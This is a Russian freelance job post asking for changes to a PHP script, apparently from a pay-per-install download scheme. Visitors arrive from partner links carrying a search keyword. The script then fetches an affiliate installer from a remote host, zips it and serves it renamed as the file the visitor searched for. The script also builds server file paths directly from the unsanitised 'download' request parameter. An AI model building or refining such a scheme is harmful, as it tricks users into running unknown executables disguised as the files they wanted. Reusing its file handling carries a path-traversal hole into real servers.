Доработать PHP-скрипт.
Имеется скрипт:
Пользователь переходит на мой сайт по ссылке с сайта партнёра, ссылка у партнёра такого рода:
domain.ru/files/kdm01&q=KLUCHEVOE+SLOVO.zip
На моём сайте ссылка данная меняется, на domain.ru/files/kdm02aojj
И данный ключ запоминается и передается на мою страницу. В итоге на моей странице есть поле "Имя файла", где написан тот ключ:
Имя файла: KLUCHEVOE SLOVO.zip
Пользователь жмет скачать, скачивается инсталлятор с сайта партнёрской программы, пакует его в зип. Переименовывает архив под ключевое слово и выдает на скачку пользователю.
---- ЗАДАНИЕ ------------------------------------------------------------------------------------------
Проблема в том, что, если человек пришел на сайт мой, то при переходе на третью страницу - ключ уже не передается.
Надо сделать так, что бы при переходе пользователя на мой сайт - ключ этот KLUCHEVOE SLOVO.zip - сохранился. И при переходе на другую страницу моего сайта, там так же можно было использовать параметр
.zip
---- СКРИПТ, КОТОРЫЙ НУЖНО ДОПОЛНИТЬ ------------------------------------------------------------------------------------------
Сам скрипт НА ГЛАВНОЙ странице имеет такой вид:
require_once('pclzip.lib.php');
$exeurl = "http://domainsarhivom.ru/file.exe"; // ссылка на файл
$param = "q"; // Параметр, в котором передается ключевик (main.php?q=key)
$filename = 'soft.exe'; // Имя файла для сохранения на сервере
$script = end(explode("/", $_SERVER['SCRIPT_NAME']));
error_reporting(0);
if (isset($_REQUEST[$param])) {
$text = str_replace(array("kdm02", ".zip", ".rar"), "", strtolower($_REQUEST[$param]));
SetCookie("keyword",$text);
header("Location: /files/kdm02aojj");
} else {
if (isset($_COOKIE['keyword'])) {
$text = @$_COOKIE['keyword'];
} else {
$text = "File";
SetCookie("keyword",$text);
}
}
header('Content-Type: text/html; charset=windows-1251');
$script = end(explode("/", $_SERVER['SCRIPT_NAME']));
if (isset($_REQUEST['download'])) {
$download = str_replace(array('"',"'"), "", $_REQUEST['download']);
$file = file_get_contents($exeurl);
fwrite(fopen($download.".exe", "w+"), $file);
$aname = $download.'.zip';
$archive = new PclZip($aname);
$archive->add($download.".exe");
$archive->add("ReadMe.txt");
unlink($download.".exe");
if (isset($_SERVER['HTTP_USER_AGENT']) and strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE')) {
Header('Content-Type: application/force-download');
} else {
Header('Content-Type: application/octet-stream');
}
Header('Content-disposition: attachment; filename="' . $aname.'"');
header('Content-Description: File Transfer');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
Header('Content-Length: ' . filesize($aname));
readfile($aname);
unlink($aname);
exit();
}
?>